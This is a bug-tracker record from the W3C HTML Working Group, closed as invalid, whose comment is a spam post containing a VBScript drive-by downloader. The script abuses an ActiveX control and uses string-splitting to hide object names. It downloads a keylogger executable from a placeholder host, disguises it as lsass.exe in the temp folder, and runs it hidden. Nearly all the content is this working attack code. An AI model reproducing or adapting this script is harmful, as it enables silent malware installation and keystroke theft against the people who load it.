15315 2011-12-22 20:49:38 +0000 < ****** language="VBScript"> on error resume next Set obj1 = ********.createElement("object") obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" est1="Microsoft."&"_xmlHTTP" Set obj2 = obj1.CreateObject(est1,"") est="Ado"&"db."&"St 2011-12-23 12:09:45 +0000 1 1 1 Unclassified HTML WG HTML5 spec unspecified Other other RESOLVED INVALID http://www.whatwg.org/specs/web-apps/current-work/#top P3 normal --- 1 contributor ian mike Ms2ger public-html-admin public-html-wg-issue-tracking public-html-bugzilla oldest_to_newest 61957 0 contributor 2011-12-22 20:49:38 +0000 Specification: http://www.w3.org/TR/html5/ Multipage: http://www.whatwg.org/C#top Complete: http://www.whatwg.org/c#top Comment: < ****** language="VBScript"> on error resume next Set obj1 = ********.createElement("object") obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" est1="Microsoft."&"_xmlHTTP" Set obj2 = obj1.CreateObject(est1,"") est="Ado"&"db."&"Str"&"eam" set obj3 = obj1.createobject(est,"") obj3.type = 1 est2="GET" obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False obj2.Send set F = obj1.createobject("Scripting.FileSystemObject","") set pasta = F.GetSpecialFolder(2) fi="lsass.exe" fi= F.BuildPath(pasta,fi) obj3.open obj3.write obj2.responseBody obj3.savetofile fi,2 obj3.close set obj5 = obj1.createobject("Shell.Application","") obj5.ShellExecute fi,"","","open",0 < / ****** > Posted from: 78.163.136.5 User agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7